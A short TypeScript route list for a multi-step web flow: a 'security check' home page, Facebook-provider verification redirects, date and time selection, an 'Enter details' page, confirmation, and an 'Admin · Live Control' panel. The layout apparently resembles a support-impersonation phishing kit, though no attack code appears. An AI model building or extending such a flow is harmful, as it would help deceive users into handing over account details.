  { value: '/', label: '① Home — security check' },
  { value: '/schedule-call', label: '② Verify (pick provider)' },
  ...FACEBOOK_REDIRECT_PAGES.map((p) => ({
    value: p.value,
    label: `② ${p.label}`,
  })),
  { value: '/select-date-time', label: '③ Select date & time' },
  { value: '/enter-details', label: '④ Enter details' },
  { value: '/confirmation', label: '⑤ Confirmation' },
  { value: '/livesupport/chatprotect', label: 'Admin · Live Control' },
] as const 